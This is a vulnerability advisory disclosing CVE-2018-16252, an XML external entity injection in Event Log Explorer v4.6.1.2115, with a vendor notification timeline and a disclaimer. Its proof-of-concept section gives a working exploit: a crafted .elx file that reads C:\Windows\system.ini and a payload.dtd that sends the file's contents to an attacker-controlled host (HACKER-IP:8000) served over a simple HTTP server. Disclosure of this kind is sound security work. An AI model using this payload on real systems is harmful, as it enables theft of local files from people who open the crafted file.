[+] Credits: hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/FSPRO-LABS-EVENT-LOG-EXPLORER-XML-INJECTION-INFO-DISCLOSURE.txt [+] ISR: ApparitionSec Greetz: ***Greetz: indoushka | Eduardo*** [Vendor] www.eventlogxp.com [Product] Event Log Explorer v4.6.1.2115 Event Log Explorer is an effective software solution for viewing, analyzing and monitoring events recorded in Microsoft Windows event logs. [Vulnerability Type] XML External Entity Injection [Affected Component] elex.exe [CVE Reference] CVE-2018-16252 [Security Issue] Upon opening a specially crafted .ELX file in Event Log Explorer, remote attackers can potentially gain access to local files. [Impact] Information Disclosure [Exploit/POC] python -m SimpleHTTPServer "test.elx" <?xml version="1.0"?> <!DOCTYPE gga [ <!ENTITY % file SYSTEM "C:\Windows\system.ini"> <!ENTITY % dtd SYSTEM "http://HACKER-IP:8000/payload.dtd"> %dtd;]> <infodisclosa>&send;</infodisclosa> "payload.dtd" <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'http://HACKER-IP:8000?%file;'>"> %all; [Network Access] Remote [Severity] High [Disclosure Timeline] Vendor Notification: August 19, 2018 Vendor created ticket: August 19, 2018 No further replys September 1, 2018 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx